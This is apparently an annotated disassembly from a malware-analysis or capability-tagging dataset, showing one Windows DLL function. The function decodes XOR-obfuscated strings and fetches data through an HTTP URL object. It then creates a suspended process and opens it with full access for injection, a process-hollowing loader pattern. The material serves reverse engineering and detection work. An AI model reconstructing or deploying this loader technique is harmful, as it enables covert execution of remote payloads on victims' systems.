Function at 0x180013c80
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x560
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x180232200]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
xor r13d, r13d
movabs rax, 0x24c42b67f9abde45
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xc0], rax
movabs rax, 0x149ee3229cc1cbdd
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xc8], rax
movabs rax, 0x228176c81d9cb54a
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xd0], rax
movabs rax, 0xa8d91744790dd1f1
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xd8], rax
movabs rax, 0xc6909bd725dd7c41
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xe0], rax
movabs rax, 0x15fc699f8215fae0
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xe8], rax
movabs rax, 0xbeb111489dfaa2d
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x460], rax
movabs rax, 0x7df2804feeaebfae
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x468], rax
movabs rax, 0x57f005e669e8db2f
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x470], rax
movabs rax, 0xc9f775210e68a390
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x478], rax
movabs rax, 0xa3f4fab849f20c31
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x480], rax
movabs rax, 0x15fc69f3ee71d492
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x488], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x460]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqa xmm0, xmmword [rbp + 0xe0]
vxorps xmm0, xmm0, xmmword [rbp + 0x480]
vmovdqa xmmword [rbp + 0xe0], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r13
lea rax, [rbp + 0xc0]
mov rbx, 0xffffffffffffffff
mov r8, rbx
vzeroupper
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x180013e90
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x160]
call fcn.18000d910
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
lea r12, [rbp + 0x160]
mov rsi, qword [rbp + 0x160]
mov r15, qword [rbp + 0x178]
cmp r15, 0xf
cmova r12, rsi
movabs rdi, 0x7fffffffffffffff
mov r14, qword [rbp + 0x170]
cmp r14, rdi
ja 0x18001471e
cmp r14, 0xf
ja 0x180013f22
mov qword [rbp + 0x130], r14
mov qword [rbp + 0x138], 0xf
movups xmm0, xmmword [r12]
movups xmmword [rbp + 0x120], xmm0
jmp 0x180013fc0
mov rax, r14
or rax, 0xf
cmp rax, rdi
jbe 0x180013f5a
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180187898
mov rcx, rax
test rax, rax
je 0x180013f8f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180013f9b
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x180013f77
mov rax, r13
jmp 0x180013f9b
cmp rcx, 0x1000
jb 0x180013f96
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180014724
jmp 0x180013f3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180187898
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x130], r14
mov qword [rbp + 0x138], rdi
lea r8, [r14 + 1]
mov rdx, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rax, [rbp + 0x120]
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x140]
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x460]
call fcn.180015920
lea rax, vtable.cpr::Url.0
mov qword [rbp + 0x460], rax
lea rcx, [rbp + 0x2c0]
call fcn.180180f30
nop
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x2c0]
call fcn.180181a50
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x2c0]
call fcn.1801819b0
nop
lea rcx, [rbp + 0x2c0]
call fcn.180016280
nop
mov rdx, qword [rbp + 0x480]
cmp rdx, 0xf
jbe 0x180014091
inc rdx
mov rcx, qword [rbp + 0x468]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001408c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18001408c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180187890
movdqa xmm0, xmmword [0x1801fe540]
movdqu xmmword [rbp + 0x478], xmm0
mov byte [rbp + 0x468], 0
lea r9, [fcn.18000d420]
mov edx, 0x20
mov r8d, 1
lea rcx, [rbp + 0x120]
call fcn.180187c78
lea r14, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 0xf
cmova r14, qword [rbp + 0x198]
mov eax, 0xffffffff
cmp qword [rbp + 0x1a8], rax
ja 0x1800146a7
movabs rax, 0x798c7e66d983906e
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xc0], rax
movabs rax, 0xe97ec26a88ed2cf
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xc8], rax
movabs rax, 0xb95698106879c73
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xd0], rax
movabs rax, 0x88ab104c611acbd3
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xd8], rax
movabs rax, 0xca809bdb209e7c41
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xe0], rax
movabs rax, 0x78931b9b8d2dbafd
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xe8], rax
movabs rax, 0xeff9efef535d5fd6
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xf0], rax
movabs rcx, 0x62015ec5cfb83a14
mov qword [rbp + 0x90], rcx
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xf8], rax
movabs rax, 0xbeb111489dfaa2d
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x7df2804feeaebfae
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x4a8], rax
movabs rax, 0x57f005e669e8db2f
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x4b0], rax
movabs rax, 0xc9f775210e68a390
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x4b8], rax
movabs rax, 0xa3f4fab849f20c31
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x4c0], rax
movabs rax, 0x15fc69f3ee71d492
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x4c8], rax
movabs rax, 0xeff9ef8a2b3871b3
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 0x90], rcx
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x4d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a0]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x100], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x110], xmm1
lea rax, [rbp + 0xc0]
vzeroupper
inc rbx
cmp byte [rax + rbx], 0
jne 0x180014327
mov r8, rbx
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x100]
call fcn.18000d910
nop
mov rcx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x118]
mov rax, rdx
sub rax, rcx
lea rdi, [0x1801fb77c]
cmp rax, 1
jb 0x1800143f2
lea r8, [rcx + 1]
mov qword [rbp + 0x110], r8
lea rbx, [rbp + 0x100]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x100]
lea rax, [0x1801fb77d]
cmp rax, rbx
jbe 0x1800143b1
lea rax, [rbx + rcx]
cmp rdi, rax
ja 0x1800143b1
cmp rbx, rdi
ja 0x1800143a9
mov rsi, r13
jmp 0x1800143b6
mov rsi, rbx
sub rsi, rdi
jmp 0x1800143b6
mov esi, 1
lea rcx, [rbx + 1]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rsi]
mov r8d, 1
sub r8, rsi
lea rdx, [rdi + 1]
add rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x100]
jmp 0x180014414
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov edx, 1
lea rcx, [rbp + 0x100]
call fcn.180017490
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x180014494
lea rax, [rcx + 1]
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0x90]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x90]
mov word [rax + rcx], 0x22
lea rax, [rbp + 0x90]
jmp 0x1800144b1
mov qword [rsp + 0x20], 1
mov r9, rdi
mov edx, 1
lea rcx, [rbp + 0x90]
call fcn.1800160f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x140], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x150], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x18001452e
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180014529
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180014529
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180187890
movdqa xmm0, xmmword [0x1801fe540]
movdqu xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x180014589
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180014584
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180014584
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180187890
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rax
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rdx, qword [rbp + 0x140]
lea rax, [rbp]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18001463e
mov r8d, dword [rbp + 0x10]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180014634
mov rdx, r14
mov rcx, rax
call fcn.180014b40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x180014682
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001467d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18001467d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180187890
movdqa xmm0, xmmword [0x1801fe540]
movdqu xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x140], 0
mov r15, qword [rbp + 0x178]
mov rsi, qword [rbp + 0x160]
lea rcx, [rbp + 0x180]
call fcn.180014730
nop
cmp r15, 0xf
jbe 0x1800146ee
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1800146e6
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800146e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.180187890
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.180187870
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180009020
nop
call fcn.180008f80
int3